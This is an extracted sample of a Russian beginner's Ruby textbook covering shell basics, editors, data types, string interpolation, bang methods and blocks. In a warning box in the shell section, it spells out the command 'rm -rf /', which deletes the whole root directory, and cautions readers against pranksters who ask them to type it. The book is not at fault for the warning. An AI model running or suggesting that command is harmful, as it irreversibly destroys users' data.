Rubyisforfun Ru
Rubyisforfun Ru
Роман Пушкин
This book is for sale at http://leanpub.com/rubyisforfun_ru
Введение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Вместо предисловия . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Руби против ибур . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Для фана . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Что мы будем изучать . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Веб-программирование или что-то другое? . . . . . . . . . . . . . . . . . 9
Сколько зарабатывают программисты? . . . . . . . . . . . . . . . . . . . . 10
Ваше преимущество . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
Часть 2. Основы . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
Типы данных . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
Докажем, что все в Руби — объект . . . . . . . . . . . . . . . . . . . . . . . 60
Приведение типов (англ. converting types или type casting) . . . . . . . 61
Дробные числа . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Интерполяция строк . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
Bang! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
Блоки . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Блоки и параметры . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
Любопытные методы класса Integer . . . . . . . . . . . . . . . . . . . . . . 86
Сравнение переменных и ветвление . . . . . . . . . . . . . . . . . . . . . 91
Комбинирование условий . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Некоторые полезные функции языка Руби . . . . . . . . . . . . . . . . . 100
Генерация случайных чисел . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Угадай число . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Состояние . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247
Состояние, пример программы . . . . . . . . . . . . . . . . . . . . . . . . . 263
Полиморфизм и duck typing . . . . . . . . . . . . . . . . . . . . . . . . . . . 271
Наследование . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283
Модули . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 292
Subtyping (субтипирование) против наследования . . . . . . . . . . . . 295
Статические методы . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
Вся правда про ООП . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 307
Отладка программ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309
Отладка с использованием вывода информации в консоль . . . . . . . 310
Отладка с использованием консольного отладчика . . . . . . . . . . . . 314
Отладка с использованием графического отладчика . . . . . . . . . . . 324
Практическое занятие: подбор пароля и спасение мира . . . . . . . . . 329
Немного про виртуализацию, Docker, основные команды Docker . . . 351
Ruby Version Manager (RVM) . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
Тестирование . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 378
RSpec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 381
Заключение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 402
Решения задач . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 402
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 406
ОГЛАВЛЕНИЕ
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 406
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 408
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 408
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 413
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 413
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 414
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 414
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 419
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 419
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 420
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 420
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 420
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424
ОГЛАВЛЕНИЕ
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 425
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 425
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 426
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 426
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 428
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 429
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 429
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 431
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 431
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 433
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 434
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 435
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 436
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 438
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 438
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 442
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 442
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
Задание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 453
Решение . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454
Введение
Вместо предисловия
Прежде чем дать ответ на эти вопросы, нужно ответить на самый главный
вопрос: а зачем нужно становиться программистом? Какой в этом смысл?
Но задача именно этой книги более бытовая. Автор подразумевает, что чи-
татель на вопрос «зачем нужно становиться программистом?» даст ответ
«чтобы быть программистом и зарабатывать деньги». Обычно такой ответ
дают люди, которые уже попробовали себя в какой-либо профессии и хотят
более эффективно использовать свое время и получать за это деньги.
Также это могут быть молодые люди, которые вынуждены идти в ногу со
временем и осваивать технологии как можно быстрее, и как можно быстрее
получать результат от своих знаний. Причем результат не только в виде самих
знаний — как написать ту или иную программу, а результат в денежном
эквиваленте.
Руби — очень популярный язык, легко найти работу. Ибур — никто о нем не
знает, работу найти невозможно.
Введение 4
Руби — principle of a least surprise, что уже довольно неплохо. JavaScript — изна-
чально не создавался с идеей «принципа наименьшего сюрприза». Сложнее,
чем Руби, так как является полностью асинхронным (пока поверьте мне на
слово).
[11, 3, 2, 1].sort()
[11, 3, 2, 1].sort();
Для фана
В случае с Руби можно написать программу быстро, «на коленке». Нет очень
большой надежности (что тоже является проблемой), но многие компании, осо-
бенно стартапы, пришли к выводу, что надежность является «достаточной»,
а относительно невысокая скорость выполнения не является проблемой. Всё
это с лихвой компенсируется скоростью разработки. Ведь в современном мире
часто требуется сделать что-то быстро, чтобы быстро получить инвестиции,
привлечь первых пользователей, пока другие долго думают.
языка, хотя это и не всегда важно, особенно если ваша задача — получить
зарплату.
Книга «Руби для романтиков» разделена на две части. В первой части (вы
её сейчас читаете) мы рассмотрим основы языка и его использование из т.н.
командной строки. Во второй части (планируется) будет непосредственно веб-
программирование и фреймворк Rails.
Всё верно. Дело в том, что сам по себе язык Руби является довольно мощным
инструментом. Студенты Руби-школы находили работу и без знания веб-
программирования. Основы языка, умение находить и использовать нуж-
ные библиотеки уже дают возможность создавать вполне полезные прило-
жения, которые могут использоваться для обработки данных (например, веб-
скрейпинг), для создания конфигурационных скриптов и управления опера-
ционной системой (что обязательно пригодится любому системному админи-
стратору), для работы с файлами различного формата и т.д.
Так как Руби — это в основном язык для веб-программирования, именно руби-
программисты положили начало удаленной (remote, на расстоянии) работе.
Культура работать над одним проектом удаленно больше всего выражена
именно в веб-программировании.
Из нашего опыта, вполне реально без особых навыков за 1 год освоить програм-
мирование на Руби и найти первую удаленную работу. Возможно, потребуется
предрасположенность (этот факт не был доказан) и знание или желание
выучить английский. Этот путь прошли многие студенты Руби-школы, и
подтверждение этим словам можно найти в нашем чате².
Ваше преимущество
случайности.
Задание
Заведите блокнот с идеями. Записывайте туда абсолютно все идеи,
которые приходят вам в голову. Возможно, вы вернетесь к ним через
неделю, месяц или год.
Часть 1. Первые шаги
Среда исполнения
Windows shell
³https://ohmyz.sh/
Часть 1. Первые шаги 18
$ ls
— то знак доллара обычно вводить не надо. Это просто индикатор того, что
команду надо выполнять в оболочке bash (или частично совместимой с ней
zsh).
$ ruby
puts 1+1 (нажмите Ctrl+D в этом месте)
2
$
Задание
Прежде чем ответить на этот вопрос, выполните задание.
1+1
Так почему же надо писать puts в начале, а не в конце? Ведь сначала надо
посчитать, а потом уже выводить. Все просто, в этом случае говорят: «метод
(функция) принимает параметр». То есть сначала мы говорим, что мы будем
делать — выводить, а потом — что именно мы хотим выводить. Нашу програм-
му можно также записать как puts(1+1). В этом случае видно, что в скобках —
параметр. Ведь в математике мы сначала считаем то, что в скобках, а потом
уже выполняем остальные действия. Кстати, наши поздравления! Вы написали
свою первую программу.
Часть 1. Первые шаги 21
Задание
Остановитесь тут и попробуйте написать программу, которая счита-
ет количество миллисекунд в сутках.
$ ruby
puts 60 * 60 * 24 * 1000
(нажмите Ctrl + D)
В случае с 1+1 выше наш интерпретатор выполняет два действия: read (про-
читать), evaluate (выполнить). Так как не было третьего действия print (puts в
нашем случае), то не было и результата на экране. То есть чтобы мы видели
результат, надо выполнить:
• read (R);
• evaluate (E);
• print (P).
Из начальных букв у нас получилось REPL — read evaluate print loop. То есть
REPL — это такая программа, которая сначала читает, потом исполняет, потом
печатает результат и затем начинает все сначала. Это понятие широко извест-
но и используется не только в Руби. А в Руби REPL-программа называется irb
(interactive ruby).
$ irb
2.5.1 :001 >
Непонятные цифры в начале — это версия Руби. В нашем случае 2.5.1 (то же
самое покажет команда ruby -v). 001 — это номер строки. То есть если REPL
уже содержит «P» (print), то можно вводить 1+1 без puts.
Часть 1. Первые шаги 23
Задание
Посчитайте количество секунд в сутках, не выводя результат на экран
с помощью puts.
Тут хочется заметить, что авторы редко используют именно irb в роли REPL.
Есть лучшая альтернатива под названием Pry⁶. Он выполняет ту же самую
функцию, но имеет больше настроек. Этот инструмент рассматривается даль-
ше в нашей книге.
$ ruby app.rb
Для Windows, операционной системы, с которой вам нужно как можно скорее
уходить на Linux, необходимо создать директорию (каталог, папку) в разделе
⁶http://pry.github.io/
Часть 1. Первые шаги 24
Другими словами, нужно уже уметь делать как минимум четыре вещи:
1. создавать директорию;
2. переходить в директорию;
3. создавать файл в директории и сохранять что-то в этот файл;
4. запускать файл (это мы уже умеем: ruby app.rb).
Тут можно было бы дать основные команды ОС Linux для этих целей и не
завязываться на ОС Windows. Однако рынок диктует свои условия — боль-
шинство пользователей сейчас работают на Windows, а значит, с большой
долей вероятности и у вас установлена эта операционная система. Но не
стоит отчаиваться, мы исправим этот досадный факт, а пока постараемся как
можно быстрее настроить нашу среду исполнения, чтобы мы могли писать и
запускать программы, а исправлением займемся потом.
запомнятся сами. Более того, команды будут даны для ОС Linux (точнее, для
оболочки, совместимой со стандартной bash). А комбинации клавиш — для
ОС Windows, т.к. Far работает только в Windows.
⁷https://github.com/elfmz/far2l
⁸https://brew.sh/
Часть 1. Первые шаги 28
Задание
Если вы используете MacOS или Linux, найдите и установите файло-
вый менеджер. Пример запроса в google: «file manager for mac os». Для
Linux-семейства Ubuntu установка обычно сводится к двум командам
в терминале:
Навигация
• флаг l указывает на то, что нам нужен вывод в виде расширенного списка
(который содержит права на доступ к файлу, имя владельца, размер в
байтах, дату обновления);
• флаг a говорит о том, что надо выводить информацию обо всех файлах
(all), в т.ч. скрытых;
• флаг h говорит о том, что нужно выводить размер файла не в байтах,
а в human-readable формате, т.е. в формате, который понятен человеку
(килобайты, мегабайты, гигабайты и т.д.).
А в Far’e нужно для этого нажать Ctrl+L. Чтобы скрыть, нужно еще раз нажать
Ctrl+L.
Задание
«Походите» по вашей файловой системе и посмотрите, какие файлы
и директории в ней существуют. Директории из корневого каталога
(«директории из корневой директории») будут часто встречаться в
будущем.
Создание файла
$ touch app.rb
Команда выше создает пустой файл app.rb (если файл уже есть, команда меняет
время обновления файла на текущее).
В текстовом редакторе введите puts "hello" и нажмите Esc. Вам будет пред-
ложено сохранить файл. Сохранить можно также с помощью F2 (в редакторах
кода это почти всегда Ctrl+S).
Задание
Разберитесь с созданием, копированием, переносом файлов и дирек-
торий. Попробуйте скопировать несколько файлов, предварительно
выделив их (Ins). Ведь это потребуется нам в дальнейшем, а команды
для копирования файлов и директорий из консоли не такие очевид-
ные.
Консольный ниндзя
$ mkdir one
Создать одну директорию «one», в ней другую «two» и в ней третью «three».
Без флага p (path) не обойдешься:
Часть 1. Первые шаги 36
$ mkdir -p one/two/three
$ cat file.txt
Обычно вывод файла осуществляется другой командой, ведь файл может быть
большой. Вывести первые 10 строк на экран:
$ tail -f file.txt
$ mv file1.txt file2.txt
$ cp file1.txt file2.txt
$ cp file1.txt my_directory
$ mv file.txt ~
$ cp file1.txt ..
$ cp file1.txt ../..
$ cp {file1.txt,file2.txt} my_dir
Если вы установили «Oh My Zsh»¹¹ вместо bash, то у вас доступна клавиша Tab,
которая очень помогает набирать имена файлов. Например, вводите cp {f, а
потом Tab, и оболочка предложит список файлов, которые можно включить в
команду. Ничего вводить с клавиатуры не нужно. Очень полезно, когда имена
файлов длинные.
Упражнение 1
Откройте свой терминал. Выведите на экран список всех файлов
(ls -lah). Создайте каталог с именем my_directory. Снова выведите
список всех файлов, убедитесь, что каталог существует. Выберите
любой файл из текущего каталога и скопируйте этот файл в каталог,
который вы только что создали. Используйте файловый менеджер,
чтобы убедиться, что вы все сделали правильно.
Упражнение 2
Попробуйте найти все файлы журналов в корневом каталоге.
Иногда полезно что-то быстро сохранить в файл прямо из консоли. Когда ввод
окончен, нужно нажать Ctrl+D.
Будьте осторожны
Команда cat > file.txt затрет предыдущее содержимое файла.
$ whoami
ninja
$ pwd
/home/ninja
$ echo ~
/home/ninja
$ mkdir ~/tmp
$ cp file.txt ~/tmp
$ rm file.txt
Удаление директории:
Часть 1. Первые шаги 43
$ rm -r my_dir
Не делайте этого
Будьте осторожны с командой «rf». Существует самая опасная ко-
манда, которую вы можете ввести: rm -rf /. Эта команда удалит
содержимое корневой директории на вашем диске без какого-либо
подтверждения. Иногда в Cети существуют злые шутники, которые
могут попросить вас что-нибудь ввести. Всегда проверяйте, что имен-
но вы вводите.
Текстовые редакторы
типа Word сохраняют файлы не в plain (чистом) формате. Нам нужен тексто-
вый редактор, который позволит сохранять файлы as is (так, как они есть, ну
или почти): т.е. если мы вводим 1 символ и нажимаем «Сохранить», то размер
файла будет ровно 1 байт. Если редактор очень простой, то он может быть
отнесен как к текстовым, так и к редакторам кода.
Все редакторы кода можно разделить на два вида: консольные и графические.
Самый простой консольный редактор — это nano:
$ nano app.rb
• VsCode¹³, также известный как Visual Studio Code (не путайте со средой
разработки Visual Studio);
• RubyMine¹⁴ (платный);
• Atom¹⁵;
• Sublime Text¹⁶ (платный).
Обычно любой редактор при установке создает команду для своего запуска
из консоли. С помощью этой команды можно открыть редактор для текущей
директории:
Или Atom:
¹³https://code.visualstudio.com/
¹⁴https://www.jetbrains.com/ruby/
¹⁵https://atom.io/
¹⁶https://www.sublimetext.com/
Часть 1. Первые шаги 46
$ atom .
Задание
Установить текстовый редактор. Попробовать создать несколько фай-
лов в текстовом редакторе. В каждый файл запишите имя человека,
которого вы знаете. Удалите файлы.
Первая программа
$ ruby app.rb
I would hug you, but I’m just a text
В файл-менеджере тоже можно ввести ruby app.rb. Но что такое? Если за-
пустить программу через файл-менеджер, то все пропадет! Тонкость в том,
что программа запускается, «отрабатывает» и управление переходит обратно
— в терминал или в нашем случае в файловый менеджер. Поэтому чтобы
Часть 1. Первые шаги 47
посмотреть, «что же там было» после того, как мы нажали Enter, надо нажать
Ctrl+O.
Упражнение 1
Попробуйте оставить комментарии к своей программе и добавить
пустые строки после gets, чтобы визуально программа выглядела
«легче».
# encoding: cp866
Упражнение 2
Если у вас установлена ОС Windows, попробуйте скачать VMWare
Workstation (платная программа) или VirtualBox¹⁷ (бесплатная). Это
виртуальная машина — программа для запуска операционных си-
стем внутри вашей ОС. Попробуйте запустить виртуальную маши-
ну и установить в ней Linux Mint Cinnamon edition¹⁸. Попробуйте
написать первую программу в Linux! Если не получится — ничего
страшного, продолжайте обучение дальше, можно будет вернуться
к этому позднее.
Your age?
20
Your age is
20
client_age
user_password
user_password_expiration_date
clientAge
userPassword
userPasswordExpirationDate
Используется в JavaScript;
• Kebab case (kebab — шашлык), слова разделяются дефисом:
client-age
user-password
user-password-expiration-date
Пока запомним только первый вариант, для Ruby. Если переменная имеет
длинное название, то слова разделяем нижним подчеркиванием. Нужно за-
метить, что чем короче названия переменных, тем лучше. Всегда нужно стре-
миться писать код так, чтобы названия переменных не были слишком длин-
ными. Однако для начинающих эта задача не всегда по силам. Придумать
хорошее название для переменной не всегда просто, среди программистов
ходит даже такая шутка:
There are only two hard things in Computer Science: cache invalidation
and naming things.
Дословно: существуют две сложные проблемы в Компьютерной На-
уке: инвалидация кеша и именование вещей.
Задание
Написать программу, которая подряд спрашивает год рождения, ме-
сто рождения, номер телефона трех клиентов, после чего выводит
полученную информацию полностью в виде «карточек» (в англ. языке
это бы называлось baseball card, аналогия в русском языке — карточка
из картотеки).
Your age?
30
Your age is30
Чего-то не хватает? Правильно, пробела после слова «is». Как вы уже увидели
из примера выше, мы можем складывать строки. С точки зрения математики
это не имеет никакого смысла, зато строки в памяти компьютера объединяют-
ся. Запустите такой код в REPL или в виде программы:
Результат:
Часть 1. Первые шаги 55
"100" + "500"
"10" * 5
=> "1010101010"
Получили число "10", повторенное 5 раз. Если мы поставим после "10 "
пробел, результат будет более наглядным:
"10 " * 5
=> "10 10 10 10 10 "
Как было уже замечено, "10 " — это всего лишь строка, можно подставить
любую строку:
Часть 1. Первые шаги 56
Результат:
Your age?
30
======================================================================
Your age is 30
Часть 2. Основы
Типы данных
$ irb
> "blabla".class
=> String
> "123".class
=> String
> 123.class
=> Integer
Говорят, что все в Руби — объект (Object). В результате любой операции получа-
ется объект. Каждый объект «реализует метод» class. Выражение «реализует
метод» означает, что какой-то программист, разработчик языка Руби, сделал
специальную небольшую подпрограмму, которую мы с вами можем запускать,
если знаем имя этой подпрограммы. Чтобы вызвать подпрограмму для какого-
либо объекта, нужно ввести точку и написать имя этой подпрограммы.
В нашем случае имя этой подпрограммы (говорят «имя метода» или «имя
функции», метод и функция — синонимы) — это class. Кстати, не надо путать
Часть 2. Основы 58
имя метода class с ключевым словом class, которое определяет т.н. класс, —
мы будем проходить это позднее. Если бы в реальной жизни у объектов были
методы, то мы бы с вами могли увидеть следующее:
Яблоко.разрезать
Яблоко.количество_семян
Яблоко.количество_червей
Река.температура_воды
Река.количество_рыбы
Object.class
В нашем случае 123 (без кавычек) и "blabla" — это объекты. Тип объекта 123
— Integer (целое число). Тип объекта "blabla" — String (строка). Тип любого
объекта можно получить, добавив в конце .class.
• Object²³
• String²⁴
• Integer²⁵
Упражнение 1
Узнайте, какой тип данных у "". А какой тип данных у 0 (ноль)? Какой
тип данных у минус единицы? Какой тип данных у округленного
числа «пи» 3.14?
Упражнение 2
Известно, что метод .class для любого объекта возвращает резуль-
тат. REPL читает (read), выполняет (evaluate) и печатает (print) этот
результат на экран. Но если все в Руби — объект, то какого типа
возвращается сам результат, когда мы пишем .class? Вот этот метод
.class — результат какого типа он возвращает? Видно ли это из
документации? Проверьте. Попробуйте написать 123.class.class —
первое выражение 123.class вернет результат, а следующий .class
вычислит тип этого результата.
²⁶https://ruby-doc.org/core-2.5.1/Object.html#method-i-class
²⁷https://ruby-doc.org/core-2.5.1/String.html#method-i-2A
Часть 2. Основы 60
$ irb
> 123.is_a?(Integer)
=> true
В примере выше для объекта 123 мы вызвали метод is_a? с параметром Integer.
Метод вернул результат true (истина). То есть 123 является типом Integer (целое
число). Если мы проверим, является ли 123 строкой, то ответ будет «ложь»:
$ irb
> 123.is_a?(String)
=> false
$ irb
> "blabla".is_a?(String)
=> true
Выше мы убедились, что 123 — это число, а “blabla” — это строка. Но являются
ли число и строка объектом? Давайте проверим:
Часть 2. Основы 61
$ irb
> 123.is_a?(Object)
=> true
> "blabla".is_a?(Object)
=> true
Оказывается, что да! Число и строка являются объектами. 123 — это одновре-
менно число и объект. “blabla” — это одновременно строка и объект.
Your age?
30
Your age is 30
30
30
30
30
30
30
30
30
30
30
30
Your age?
blabla
Your age is blabla
blabla
blabla
blabla
blabla
blabla
blabla
blabla
blabla
blabla
blabla
blabla
$ irb
geti
NameError (undefined local variable or method `geti' for main:Object
Did you mean? gets)
$ node
> "123" * 1
123
> "123" * 1
=> "123"
> ("123" * 1).class
=> String
> "123".to_i
=> 123
> "123".to_i.class
=> Integer
В этот раз ошибка на четвертой строке. Но ошибка уже нам понятна — не мо-
жем преобразовать число в строку. То есть в четвертой строке мы складываем
строку и число. Умножать строку на число можно, а складывать почему-то
нельзя. Ну ничего страшного, попробуем сделать «приведение типов» еще раз:
Часть 2. Основы 66
Попробуем запустить:
Your age?
30
Your age is 360
Дробные числа
$ irb
> 3.14.class
=> Float
$ irb
> 123.class
=> Integer
> 123.0.class
=> Float
Так зачем нужен тип Float? Затем же, зачем нужна и сама дробь, — в основном
для приблизительных математических расчетов (для более точных есть тип
BigDecimal²⁸, альтернативное «более точное» представление дроби, которое
²⁸https://ruby-doc.org/stdlib-2.5.3/libdoc/bigdecimal/rdoc/BigDecimal.html
Часть 2. Основы 68
Интерполяция строк
$ node
> "Your age is " + 30 * 12
'Your age is 360'
$ node
> `Your age is ${30 * 12}`
'Your age is 360'
>
Your name?
Roman
Your age?
30
Your city?
San Francisco
======================================================================
You are Roman
, your age in months is 360, and you are from San Francisco
$ irb
> x = gets
Hi
=> "Hi\n"
> x.class
=> String
> x.size
=> 3
$ ruby app.rb
Your name?
Roman
Your age?
30
Your city?
San Francisco
======================================================================
You are Roman, your age in months is 360, and you are from San Francisco
Заработало! Метод chomp класса String отрезает ненужный нам перевод строки.
Важно отметить, что интерполяция строк работает только с двойными кавыч-
ками. Одинарные кавычки могут использоваться наравне с двойными, за тем
исключением, что интерполяция строк в них намеренно не поддерживается.
Более того, инструменты статического анализа кода (например, Rubocop²⁹)
выводят предупреждение, если вы используете двойные кавычки и не ис-
пользуете интерполяцию. В дальнейшем мы будем использовать одинарные
кавычки, если интерполяция строк не нужна.
Задание 1
Посмотрите документацию к методу chomp и size класса String.
²⁹https://rubocop.org/
Часть 2. Основы 74
Задание 2
Напишите программу для подсчета годовой зарплаты. Пользователь
вводит размер заработной платы в месяц, а программа выводит
размер заработной платы в год. Допустим, что пользователь каждый
месяц хочет откладывать 15 % своей зарплаты. Измените программу,
чтобы она выводила не только размер заработной платы, но и размер
отложенных за год средств. Измените программу, чтобы она выводи-
ла размер отложенных средств за 5 лет.
Bang!
1 x = 'Я МОЛОДЕЦ'
2 x = x.downcase
3 puts x
Вывод программы:
$ ruby app.rb
я молодец
ей значение x.downcase. Так как переменная x имеет тип String (тип «строка»,
этот тип приобретают все переменные, когда мы присваиваем им значение в
кавычках), то мы имеем право вызвать метод downcase для типа String³⁰. Этот
метод преобразует заглавные буквы в строчные, и мы видим на экране вывод
маленькими буквами.
Больше всего нас интересует вторая строка x = x.downcase. В языке Руби было
принято соглашение для удобства, если требуется изменить значение самой
переменной, не обязательно ее «переопределять» вот таким образом. Можно
написать x.downcase! — и Руби будет знать, что операцию downcase нужно
проделать не «просто так» и вернуть результат, а заменить значение самой
переменной.
1 a = 'HI'
2 b = a
3 a = 'xxx'
4 puts b
1 a = 'HI'
2 b = a
3 a.downcase!
4 puts b
Объяснение этому кроется в том, как именно работает язык Руби. Для начи-
нающего вряд ли есть большой смысл вдаваться в эти детали. Вкратце лишь
заметим, что каждая переменная — это просто адрес (число от 1 до какого-то
большого значения, например 123456789). А вот само значение находится где-
то далеко в памяти по этому адресу.
Часть 2. Основы 77
Задание
Посмотрите, какие еще существуют bang-методы у класса String.
# frozen_string_literal: true
a = 'aaa'
b = 'aaa'
puts a.object_id
puts b.object_id
Блоки
В Руби существует свое собственное понятие блока кода. Обычно, когда мы ви-
дим какой-либо код, то можем визуально разделить его на блоки или участки.
Например: первые три строки отвечают за ввод информации, следующие пять
строк — за вывод и т.д. Несмотря на то что мы можем называть эти участки
кода блоками кода с чисто визуальной точки зрения, понятие блок кода в Руби
имеет свое собственное значение.
Блок кода (block, code block) в Руби — это какая-то часть программы, которую
мы куда-то передаем для последующего исполнения. Возникает вопрос: а
зачем передавать, когда блок может исполниться вот тут сразу? На самом деле
передача блока кода может иметь смысл в следующих случаях:
$ irb
> 10.times { puts 'Спартак - чемпион!' }
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Спартак - чемпион!
Давайте разберемся, что же тут произошло. Что такое 10? С каким классом мы
имеем дело? Правильно, Integer. Смотрим документацию по Integer (запрос в
google «ruby Integer docs»). Далее ищем метод times³¹. Из документации видно,
что метод «принимает блок». На самом деле блок можно передать любому
методу, даже тому, который «не принимает блок». Вопрос лишь в том, будет
ли этот блок запущен. Метод times запускает блок.
Что же мы имеем? Мы имеем объект 10, который знает о том, что он 10. Су-
ществует метод times, который написал какой-то программист (разработчик
языка), и этот метод запускает переданный ему блок 10 раз.
Запомните, что блок можно передать любому методу. Вопрос лишь в том, что
